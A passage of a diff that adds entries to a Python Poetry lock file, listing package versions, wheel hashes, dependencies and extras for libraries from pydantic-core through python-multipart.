"sha256:235f45e5dbcccf6bd99f9f472858849f73d11120d76ea8707115415f8e5ebebf"}, + {file = "pydantic_core-2.33.2-cp311-cp311-win32.whl", hash = "sha256:6368900c2d3ef09b69cb0b913f9f8263b03786e5b2a387706c5afb66800efd51"}, + {file = "pydantic_core-2.33.2-cp311-cp311-win_amd64.whl", hash = "sha256:1e063337ef9e9820c77acc768546325ebe04ee38b08703244c1309cccc4f1bab"}, + {file = "pydantic_core-2.33.2-cp311-cp311-win_arm64.whl", hash = "sha256:6b99022f1d19bc32a4c2a0d544fc9a76e3be90f0b3f4af413f87d38749300e65"}, + {file = "pydantic_core-2.33.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:a7ec89dc587667f22b6a0b6579c249fca9026ce7c333fc142ba42411fa243cdc"}, + {file = "pydantic_core-2.33.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3c6db6e52c6d70aa0d00d45cdb9b40f0433b96380071ea80b09277dba021ddf7"}, + {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e61206137cbc65e6d5256e1166f88331d3b6238e082d9f74613b9b765fb9025"}, + {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:eb8c529b2819c37140eb51b914153063d27ed88e3bdc31b71198a198e921e011"}, + {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c52b02ad8b4e2cf14ca7b3d918f3eb0ee91e63b3167c32591e57c4317e134f8f"}, + {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:96081f1605125ba0855dfda83f6f3df5ec90c61195421ba72223de35ccfb2f88"}, + {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f57a69461af2a5fa6e6bbd7a5f60d3b7e6cebb687f55106933188e79ad155c1"}, + {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:572c7e6c8bb4774d2ac88929e3d1f12bc45714ae5ee6d9a788a9fb35e60bb04b"}, + {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:db4b41f9bd95fbe5acd76d89920336ba96f03e149097365afe1cb092fceb89a1"}, + {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:fa854f5cf7e33842a892e5c73f45327760bc7bc516339fda888c75ae60edaeb6"}, + {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:5f483cfb75ff703095c59e365360cb73e00185e01aaea067cd19acffd2ab20ea"}, + {file = "pydantic_core-2.33.2-cp312-cp312-win32.whl", hash = "sha256:9cb1da0f5a471435a7bc7e439b8a728e8b61e59784b2af70d7c169f8dd8ae290"}, + {file = "pydantic_core-2.33.2-cp312-cp312-win_amd64.whl", hash = "sha256:f941635f2a3d96b2973e867144fde513665c87f13fe0e193c158ac51bfaaa7b2"}, + {file = "pydantic_core-2.33.2-cp312-cp312-win_arm64.whl", hash = "sha256:cca3868ddfaccfbc4bfb1d608e2ccaaebe0ae628e1416aeb9c4d88c001bb45ab"}, + {file = "pydantic_core-2.33.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:1082dd3e2d7109ad8b7da48e1d4710c8d06c253cbc4a27c1cff4fbcaa97a9e3f"}, + {file = "pydantic_core-2.33.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f517ca031dfc037a9c07e748cefd8d96235088b83b4f4ba8939105d20fa1dcd6"}, + {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a9f2c9dd19656823cb8250b0724ee9c60a82f3cdf68a080979d13092a3b0fef"}, + {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2b0a451c263b01acebe51895bfb0e1cc842a5c666efe06cdf13846c7418caa9a"}, + {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ea40a64d23faa25e62a70ad163571c0b342b8bf66d5fa612ac0dec4f069d916"}, + {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0fb2d542b4d66f9470e8065c5469ec676978d625a8b7a363f07d9a501a9cb36a"}, + {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fdac5d6ffa1b5a83bca06ffe7583f5576555e6c8b3a91fbd25ea7780f825f7d"}, + {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:04a1a413977ab517154eebb2d326da71638271477d6ad87a769102f7c2488c56"}, + {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c8e7af2f4e0194c22b5b37205bfb293d166a7344a5b0d0eaccebc376546d77d5"}, + {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:5c92edd15cd58b3c2d34873597a1e20f13094f59cf88068adb18947df5455b4e"}, + {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:65132b7b4a1c0beded5e057324b7e16e10910c106d43675d9bd87d4f38dde162"}, + {file = "pydantic_core-2.33.2-cp313-cp313-win32.whl", hash = "sha256:52fb90784e0a242bb96ec53f42196a17278855b0f31ac7c3cc6f5c1ec4811849"}, + {file = "pydantic_core-2.33.2-cp313-cp313-win_amd64.whl", hash = "sha256:c083a3bdd5a93dfe480f1125926afcdbf2917ae714bdb80b36d34318b2bec5d9"}, + {file = "pydantic_core-2.33.2-cp313-cp313-win_arm64.whl", hash = "sha256:e80b087132752f6b3d714f041ccf74403799d3b23a72722ea2e6ba2e892555b9"}, + {file = "pydantic_core-2.33.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:61c18fba8e5e9db3ab908620af374db0ac1baa69f0f32df4f61ae23f15e586ac"}, + {file = "pydantic_core-2.33.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95237e53bb015f67b63c91af7518a62a8660376a6a0db19b89acc77a4d6199f5"}, + {file = "pydantic_core-2.33.2-cp313-cp313t-win_amd64.whl", hash = "sha256:c2fc0a768ef76c15ab9238afa6da7f69895bb5d1ee83aeea2e3509af4472d0b9"}, + {file = "pydantic_core-2.33.2-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:a2b911a5b90e0374d03813674bf0a5fbbb7741570dcd4b4e85a2e48d17def29d"}, + {file = "pydantic_core-2.33.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6fa6dfc3e4d1f734a34710f391ae822e0a8eb8559a85c6979e14e65ee6ba2954"}, + {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c54c939ee22dc8e2d545da79fc5381f1c020d6d3141d3bd747eab59164dc89fb"}, + {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:53a57d2ed685940a504248187d5685e49eb5eef0f696853647bf37c418c538f7"}, + {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:09fb9dd6571aacd023fe6aaca316bd01cf60ab27240d7eb39ebd66a3a15293b4"}, + {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0e6116757f7959a712db11f3e9c0a99ade00a5bbedae83cb801985aa154f071b"}, + {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d55ab81c57b8ff8548c3e4947f119551253f4e3787a7bbc0b6b3ca47498a9d3"}, + {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c20c462aa4434b33a2661701b861604913f912254e441ab8d78d30485736115a"}, + {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:44857c3227d3fb5e753d5fe4a3420d6376fa594b07b621e220cd93703fe21782"}, + {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:eb9b459ca4df0e5c87deb59d37377461a538852765293f9e6ee834f0435a93b9"}, + {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9fcd347d2cc5c23b06de6d3b7b8275be558a0c90549495c699e379a80bf8379e"}, + {file = "pydantic_core-2.33.2-cp39-cp39-win32.whl", hash = "sha256:83aa99b1285bc8f038941ddf598501a86f1536789740991d7d8756e34f1e74d9"}, + {file = "pydantic_core-2.33.2-cp39-cp39-win_amd64.whl", hash = "sha256:f481959862f57f29601ccced557cc2e817bce7533ab8e01a797a48b49c9692b3"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5c4aa4e82353f65e548c476b37e64189783aa5384903bfea4f41580f255fddfa"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:d946c8bf0d5c24bf4fe333af284c59a19358aa3ec18cb3dc4370080da1e8ad29"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87b31b6846e361ef83fedb187bb5b4372d0da3f7e28d85415efa92d6125d6e6d"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa9d91b338f2df0508606f7009fde642391425189bba6d8c653afd80fd6bb64e"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2058a32994f1fde4ca0480ab9d1e75a0e8c87c22b53a3ae66554f9af78f2fe8c"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:0e03262ab796d986f978f79c943fc5f620381be7287148b8010b4097f79a39ec"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:1a8695a8d00c73e50bff9dfda4d540b7dee29ff9b8053e38380426a85ef10052"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:fa754d1850735a0b0e03bcffd9d4b4343eb417e47196e4485d9cca326073a42c"}, + {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:a11c8d26a50bfab49002947d3d237abe4d9e4b5bdc8846a63537b6488e197808"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:dd14041875d09cc0f9308e37a6f8b65f5585cf2598a53aa0123df8b129d481f8"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:d87c561733f66531dced0da6e864f44ebf89a8fba55f31407b00c2f7f9449593"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2f82865531efd18d6e07a04a17331af02cb7a651583c418df8266f17a63c6612"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bfb5112df54209d820d7bf9317c7a6c9025ea52e49f46b6a2060104bba37de7"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:64632ff9d614e5eecfb495796ad51b0ed98c453e447a76bcbeeb69615079fc7e"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:f889f7a40498cc077332c7ab6b4608d296d852182211787d4f3ee377aaae66e8"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:de4b83bb311557e439b9e186f733f6c645b9417c84e2eb8203f3f820a4b988bf"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:82f68293f055f51b51ea42fafc74b6aad03e70e191799430b90c13d643059ebb"}, + {file = "pydantic_core-2.33.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:329467cecfb529c925cf2bbd4d60d2c509bc2fb52a20c1045bf09bb70971a9c1"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:87acbfcf8e90ca885206e98359d7dca4bcbb35abdc0ff66672a293e1d7a19101"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f92c15cd1e97d4b12acd1cc9004fa092578acfa57b67ad5e43a197175d01a64"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d3f26877a748dc4251cfcfda9dfb5f13fcb034f5308388066bcfe9031b63ae7d"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dac89aea9af8cd672fa7b510e7b8c33b0bba9a43186680550ccf23020f32d535"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:970919794d126ba8645f3837ab6046fb4e72bbc057b3709144066204c19a455d"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:3eb3fe62804e8f859c49ed20a8451342de53ed764150cb14ca71357c765dc2a6"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:3abcd9392a36025e3bd55f9bd38d908bd17962cc49bc6da8e7e96285336e2bca"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:3a1c81334778f9e3af2f8aeb7a960736e5cab1dfebfb26aabca09afd2906c039"}, + {file = "pydantic_core-2.33.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2807668ba86cb38c6817ad9bc66215ab8584d1d304030ce4f0887336f28a5e27"}, + {file = "pydantic_core-2.33.2.tar.gz", hash = "sha256:7cb8bc3605c29176e1b105350d2e6474142d7c1bd1d9327c4a9bdb46bf827acc"}, +] + +[package.dependencies] +typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" + +[[package]] +name = "pydantic-settings" +version = "2.10.1" +description = "Settings management using Pydantic" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pydantic_settings-2.10.1-py3-none-any.whl", hash = "sha256:a60952460b99cf661dc25c29c0ef171721f98bfcb52ef8d9ea4c943d7c8cc796"}, + {file = "pydantic_settings-2.10.1.tar.gz", hash = "sha256:06f0062169818d0f5524420a360d632d5857b83cffd4d42fe29597807a1614ee"}, +] + +[package.dependencies] +pydantic = ">=2.7.0" +python-dotenv = ">=0.21.0" +typing-inspection = ">=0.4.0" + +[package.extras] +aws-secrets-manager = ["boto3 (>=1.35.0)", "boto3-stubs[secretsmanager]"] +azure-key-vault = ["azure-identity (>=1.16.0)", "azure-keyvault-secrets (>=4.8.0)"] +gcp-secret-manager = ["google-cloud-secret-manager (>=2.23.1)"] +toml = ["tomli (>=2.0.1)"] +yaml = ["pyyaml (>=6.0.1)"] + +[[package]] +name = "pydub" +version = "0.25.1" +description = "Manipulate audio with an simple and easy high level interface" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "pydub-0.25.1-py2.py3-none-any.whl", hash = "sha256:65617e33033874b59d87db603aa1ed450633288aefead953b30bded59cb599a6"}, + {file = "pydub-0.25.1.tar.gz", hash = "sha256:980a33ce9949cab2a569606b65674d748ecbca4f0796887fd6f46173a7b0d30f"}, +] + +[[package]] +name = "pyee" +version = "13.0.0" +description = "A rough port of Node.js's EventEmitter to Python with a few tricks of its own" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyee-13.0.0-py3-none-any.whl", hash = "sha256:48195a3cddb3b1515ce0695ed76036b5ccc2ef3a9f963ff9f77aec0139845498"}, + {file = "pyee-13.0.0.tar.gz", hash = "sha256:b391e3c5a434d1f5118a25615001dbc8f669cf410ab67d04c4d4e07c55481c37"}, +] + +[package.dependencies] +typing-extensions = "*" + +[package.extras] +dev = ["black", "build", "flake8", "flake8-black", "isort", "jupyter-console", "mkdocs", "mkdocs-include-markdown-plugin", "mkdocstrings[python]", "mypy", "pytest", "pytest-asyncio", "pytest-trio", "sphinx", "toml", "tox", "trio", "trio", "trio-typing", "twine", "twisted", "validate-pyproject[all]"] + +[[package]] +name = "pyflakes" +version = "3.4.0" +description = "passive checker of Python programs" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pyflakes-3.4.0-py2.py3-none-any.whl", hash = "sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f"}, + {file = "pyflakes-3.4.0.tar.gz", hash = "sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58"}, +] + +[[package]] +name = "pygments" +version = "2.19.2" +description = "Pygments is a syntax highlighting package written in Python." +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b"}, + {file = "pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887"}, +] + +[package.extras] +windows-terminal = ["colorama (>=0.4.6)"] + +[[package]] +name = "pyjwt" +version = "2.10.1" +description = "JSON Web Token implementation in Python" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "PyJWT-2.10.1-py3-none-any.whl", hash = "sha256:dcdd193e30abefd5debf142f9adfcdd2b58004e644f25406ffaebd50bd98dacb"}, + {file = "pyjwt-2.10.1.tar.gz", hash = "sha256:3cc5772eb20009233caf06e9d8a0577824723b44e6648ee0a2aedb6cf9381953"}, +] + +[package.dependencies] +cryptography = {version = ">=3.4.0", optional = true, markers = "extra == \"crypto\""} + +[package.extras] +crypto = ["cryptography (>=3.4.0)"] +dev = ["coverage[toml] (==5.0.4)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=6.0.0,<7.0.0)", "sphinx", "sphinx-rtd-theme", "zope.interface"] +docs = ["sphinx", "sphinx-rtd-theme", "zope.interface"] +tests = ["coverage[toml] (==5.0.4)", "pytest (>=6.0.0,<7.0.0)"] + +[[package]] +name = "pylint" +version = "3.3.7" +description = "python code static checker" +optional = false +python-versions = ">=3.9.0" +groups = ["dev"] +files = [ + {file = "pylint-3.3.7-py3-none-any.whl", hash = "sha256:43860aafefce92fca4cf6b61fe199cdc5ae54ea28f9bf4cd49de267b5195803d"}, + {file = "pylint-3.3.7.tar.gz", hash = "sha256:2b11de8bde49f9c5059452e0c310c079c746a0a8eeaa789e5aa966ecc23e4559"}, +] + +[package.dependencies] +astroid = ">=3.3.8,<=3.4.0.dev0" +colorama = {version = ">=0.4.5", markers = "sys_platform == \"win32\""} +dill = {version = ">=0.3.7", markers = "python_version >= \"3.12\""} +isort = ">=4.2.5,<5.13 || >5.13,<7" +mccabe = ">=0.6,<0.8" +platformdirs = ">=2.2" +tomlkit = ">=0.10.1" + +[package.extras] +spelling = ["pyenchant (>=3.2,<4.0)"] +testutils = ["gitpython (>3)"] + +[[package]] +name = "pynacl" +version = "1.5.0" +description = "Python binding to the Networking and Cryptography (NaCl) library" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "PyNaCl-1.5.0-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1"}, + {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92"}, + {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394"}, + {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d"}, + {file = "PyNaCl-1.5.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858"}, + {file = "PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b"}, + {file = "PyNaCl-1.5.0-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff"}, + {file = "PyNaCl-1.5.0-cp36-abi3-win32.whl", hash = "sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543"}, + {file = "PyNaCl-1.5.0-cp36-abi3-win_amd64.whl", hash = "sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93"}, + {file = "PyNaCl-1.5.0.tar.gz", hash = "sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba"}, +] + +[package.dependencies] +cffi = ">=1.4.1" + +[package.extras] +docs = ["sphinx (>=1.6.5)", "sphinx-rtd-theme"] +tests = ["hypothesis (>=3.27.0)", "pytest (>=3.2.1,!=3.3.0)"] + +[[package]] +name = "pyparsing" +version = "3.2.3" +description = "pyparsing module - Classes and methods to define and execute parsing grammars" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "pyparsing-3.2.3-py3-none-any.whl", hash = "sha256:a749938e02d6fd0b59b356ca504a24982314bb090c383e3cf201c95ef7e2bfcf"}, + {file = "pyparsing-3.2.3.tar.gz", hash = "sha256:b9c13f1ab8b3b542f72e28f634bad4de758ab3ce4546e4301970ad6fa77c38be"}, +] + +[package.extras] +diagrams = ["jinja2", "railroad-diagrams"] + +[[package]] +name = "pypdf" +version = "5.9.0" +description = "A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pypdf-5.9.0-py3-none-any.whl", hash = "sha256:be10a4c54202f46d9daceaa8788be07aa8cd5ea8c25c529c50dd509206382c35"}, + {file = "pypdf-5.9.0.tar.gz", hash = "sha256:30f67a614d558e495e1fbb157ba58c1de91ffc1718f5e0dfeb82a029233890a1"}, +] + +[package.extras] +crypto = ["cryptography"] +cryptodome = ["PyCryptodome"] +dev = ["black", "flit", "pip-tools", "pre-commit", "pytest-cov", "pytest-socket", "pytest-timeout", "pytest-xdist", "wheel"] +docs = ["myst_parser", "sphinx", "sphinx_rtd_theme"] +full = ["Pillow (>=8.0.0)", "cryptography"] +image = ["Pillow (>=8.0.0)"] + +[[package]] +name = "pypdf2" +version = "3.0.1" +description = "A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "PyPDF2-3.0.1.tar.gz", hash = "sha256:a74408f69ba6271f71b9352ef4ed03dc53a31aa404d29b5d31f53bfecfee1440"}, + {file = "pypdf2-3.0.1-py3-none-any.whl", hash = "sha256:d16e4205cfee272fbdc0568b68d82be796540b1537508cef59388f839c191928"}, +] + +[package.extras] +crypto = ["PyCryptodome"] +dev = ["black", "flit", "pip-tools", "pre-commit (<2.18.0)", "pytest-cov", "wheel"] +docs = ["myst_parser", "sphinx", "sphinx_rtd_theme"] +full = ["Pillow", "PyCryptodome"] +image = ["Pillow"] + +[[package]] +name = "pyright" +version = "1.1.403" +description = "Command line wrapper for pyright" +optional = false +python-versions = ">=3.7" +groups = ["dev"] +files = [ + {file = "pyright-1.1.403-py3-none-any.whl", hash = "sha256:c0eeca5aa76cbef3fcc271259bbd785753c7ad7bcac99a9162b4c4c7daed23b3"}, + {file = "pyright-1.1.403.tar.gz", hash = "sha256:3ab69b9f41c67fb5bbb4d7a36243256f0d549ed3608678d381d5f51863921104"}, +] + +[package.dependencies] +nodeenv = ">=1.6.0" +typing-extensions = ">=4.1" + +[package.extras] +all = ["nodejs-wheel-binaries", "twine (>=3.4.1)"] +dev = ["twine (>=3.4.1)"] +nodejs = ["nodejs-wheel-binaries"] + +[[package]] +name = "pyte" +version = "0.8.2" +description = "Simple VTXXX-compatible terminal emulator." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyte-0.8.2-py3-none-any.whl", hash = "sha256:85db42a35798a5aafa96ac4d8da78b090b2c933248819157fc0e6f78876a0135"}, + {file = "pyte-0.8.2.tar.gz", hash = "sha256:5af970e843fa96a97149d64e170c984721f20e52227a2f57f0a54207f08f083f"}, +] + +[package.dependencies] +wcwidth = "*" + +[[package]] +name = "pytest" +version = "8.4.1" +description = "pytest: simple powerful testing with Python" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pytest-8.4.1-py3-none-any.whl", hash = "sha256:539c70ba6fcead8e78eebbf1115e8b589e7565830d7d006a8723f19ac8a0afb7"}, + {file = "pytest-8.4.1.tar.gz", hash = "sha256:7c67fd69174877359ed9371ec3af8a3d2b04741818c51e5e99cc1742251fa93c"}, +] + +[package.dependencies] +colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""} +iniconfig = ">=1" +packaging = ">=20" +pluggy = ">=1.5,<2" +pygments = ">=2.7.2" + +[package.extras] +dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests", "setuptools", "xmlschema"] + +[[package]] +name = "pytest-asyncio" +version = "1.1.0" +description = "Pytest support for asyncio" +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pytest_asyncio-1.1.0-py3-none-any.whl", hash = "sha256:5fe2d69607b0bd75c656d1211f969cadba035030156745ee09e7d71740e58ecf"}, + {file = "pytest_asyncio-1.1.0.tar.gz", hash = "sha256:796aa822981e01b68c12e4827b8697108f7205020f24b5793b3c41555dab68ea"}, +] + +[package.dependencies] +pytest = ">=8.2,<9" + +[package.extras] +docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)"] +testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"] + +[[package]] +name = "pytest-cov" +version = "6.2.1" +description = "Pytest plugin for measuring coverage." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "pytest_cov-6.2.1-py3-none-any.whl", hash = "sha256:f5bc4c23f42f1cdd23c70b1dab1bbaef4fc505ba950d53e0081d0730dd7e86d5"}, + {file = "pytest_cov-6.2.1.tar.gz", hash = "sha256:25cc6cc0a5358204b8108ecedc51a9b57b34cc6b8c967cc2c01a4e00d8a67da2"}, +] + +[package.dependencies] +coverage = {version = ">=7.5", extras = ["toml"]} +pluggy = ">=1.2" +pytest = ">=6.2.5" + +[package.extras] +testing = ["fields", "hunter", "process-tests", "pytest-xdist", "virtualenv"] + +[[package]] +name = "pytest-mock" +version = "3.14.1" +description = "Thin-wrapper around the mock package for easier use with pytest" +optional = false +python-versions = ">=3.8" +groups = ["dev"] +files = [ + {file = "pytest_mock-3.14.1-py3-none-any.whl", hash = "sha256:178aefcd11307d874b4cd3100344e7e2d888d9791a6a1d9bfe90fbc1b74fd1d0"}, + {file = "pytest_mock-3.14.1.tar.gz", hash = "sha256:159e9edac4c451ce77a5cdb9fc5d1100708d2dd4ba3c3df572f14097351af80e"}, +] + +[package.dependencies] +pytest = ">=6.2.5" + +[package.extras] +dev = ["pre-commit", "pytest-asyncio", "tox"] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +description = "Extensions to the standard Python datetime module" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +groups = ["main"] +files = [ + {file = "python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3"}, + {file = "python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-dotenv" +version = "1.1.1" +description = "Read key-value pairs from a .env file and set them as environment variables" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "python_dotenv-1.1.1-py3-none-any.whl", hash = "sha256:31f23644fe2602f88ff55e1f5c79ba497e01224ee7737937930c448e4d0e24dc"}, + {file = "python_dotenv-1.1.1.tar.gz", hash = "sha256:a8a6399716257f45be6a007360200409fce5cda2661e3dec71d23dc15f6189ab"}, +] + +[package.extras] +cli = ["click (>=5.0)"] + +[[package]] +name = "python-multipart" +version = "0.0.18" +description = "A streaming multipart parser for Python" +optional = 